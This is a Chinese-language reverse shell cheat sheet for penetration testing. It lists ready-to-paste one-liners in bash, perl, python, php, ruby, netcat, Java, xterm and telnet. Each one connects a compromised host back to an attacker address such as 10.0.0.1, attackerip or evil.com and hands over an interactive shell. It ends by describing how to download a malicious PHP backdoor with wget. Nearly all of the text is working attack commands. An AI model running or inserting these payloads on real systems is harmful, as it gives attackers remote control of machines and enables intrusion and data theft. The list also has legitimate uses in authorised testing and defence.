如果您很幸运在渗透测试期间发现了命令执行漏洞,那么不久之后您可能会需要一个交互式shell。
如果无法添加新帐户/SSH密钥/.rhosts文件并仅登录,则下一步可能是使用reverse shell或将shell绑定到TCP端口。此页面涉及前者。创建reverse shell程序的选项受目标系统上安装的脚本语言的限制-尽管如果准备充分,也可以上传二进制程序。显示的示例是针对类Unix系统量身定制的。如果将“/bin/sh -i”替换为“cmd.exe”,则以下某些示例在Windows上也应适用。
下面的每种方法都旨在成为一种可以复制/粘贴的方式。因此,它们的行很短,但可读性很差。
bash
某些版本的bash可以向您发送reverse shell(已在Ubuntu 10.10上进行了测试):
1 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
1 2 3 4 5 6 7 8 9 10 exec /bin/bash 0&0 2>&0Or: 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 Or: exec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done or: while read line 0<&5; do $line 2>&5 >&5; done
现在,本地侦听服务器中键入的所有内容都将在目标上执行,并且命令的输出将通过管道返回。请记住,我们不在目标上使用任何第三方工具,而是在其默认shell程序上使用。该技术在许多情况下都很方便,并且在目标系统上只占很小的空间。
1 2 3 4 $ nc -l -p 8080 -vvv $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done
1 for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
禁用了GAPING_SECURITY_HOLE的netcat:
1 mknod backpipe p && nc 192.168.56.11 8888 0<backpipe | /bin/bash 1>backpipe
1 /bin/bash -i > /dev/tcp/192.168.56.110/8080 0<&1 2>&1
没有netcat或/dev/tcp的netcat:
1 mknod backpipe p && telnet 192.168.56.114 2336 0<backpipe | /bin/bash 1>backpipe
telnet-to-telnet: 我不确定为什么要使用这种技术,但这是一个选择,因此仍然可以使用。这显然是最丑陋的技术。此技术使用连接到远程侦听器的两个telnet会话,将输入从一个telnet会话传递到/bin/bash,然后将输出传递到第二个telnet会话。命令输入到攻击者侦听器中的一个侦听器中,并且在另一个侦听器上接收反馈。
1 /bin/bash | telnet 192.168.56.110 8899
perl
这是perl-reverse-shell的简短,无功能版本:
1 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依赖/bin/sh的较短的Perl反向shell:
1 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
如果目标系统正在运行Windows,请使用以下单行代码:
1 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
python
这已在Linux/Python 2.7下进行了测试:
1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
该代码假定TCP连接使用文件描述符3.在我的测试系统上有效。如果不起作用,请尝试4、5、6…
1 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
如果要上传.php文件,请参见功能更强大的php-reverse-shell。
ruby 1 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依赖/bin/sh的更长的Ruby反向shell:
1 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目标系统正在运行Windows,请使用以下单行代码:
1 ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat
Netcat在生产系统上很少出现,即使有多个版本的Netcat,其中一些也不支持-e选项。
1 nc -e /bin/sh 10.0.0.1 1234
如果您安装了错误的netcat版本,Jeff Price在这里指出,您仍然可以像下面这样获得reverse shell:
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
其他可能的Netcat reverse Shell,取决于Netcat版本和编译标志:
1 2 3 4 5 nc -c /bin/sh attackerip 4444 Or: /bin/sh | nc attackerip 4444 Or: rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
Java 1 2 3 r = Runtime.getRuntime() p = r.exec(["/bin/bash" ,"-c" ,"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done" ] as String[]) p.waitFor()
xterm
reverse shell的最简单形式之一是xterm会话。以下命令应在服务器上运行。它将尝试通过TCP端口6001重新连接到您(10.0.0.1)。
1 2 3 xterm -display 10.0.0.1:1 Or: $ DISPLAY=attackerip:0 xterm
要捕获传入的xterm,请启动X服务器(:1 –侦听TCP端口6001)。一种方法是使用Xnest(在您的系统上运行):
telnet
1 2 3 rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/pOr: telnet attackerip 4444 | /bin/bash | telnet attackerip 4445
RCE shell
这个有点作弊。这仅适用于远程命令执行漏洞。编写了一个小的python脚本,而不是将命令手动输入到代理或浏览器url中,从而为您提供了shell的感觉,而没有产生任何与目标相反的内容。您只需向脚本传递易受攻击的url,并将可注入字段替换为’‘标记,即可为您提供一个干净的界面来输入命令。在后台,脚本将请求发送到Web服务器,解析响应并将其呈现给您。
通过交互式控制台的PHP-reverse-Shell
最后一种技术是利用php交互式控制台。攻击者发出一个命令,该命令移至/tmp目录(因为它通常在world范围内可写),使用wget下载恶意php-reverse-tcp后门(攻击者将其托管在他控制的Web服务器上),然后通过交互式控制台。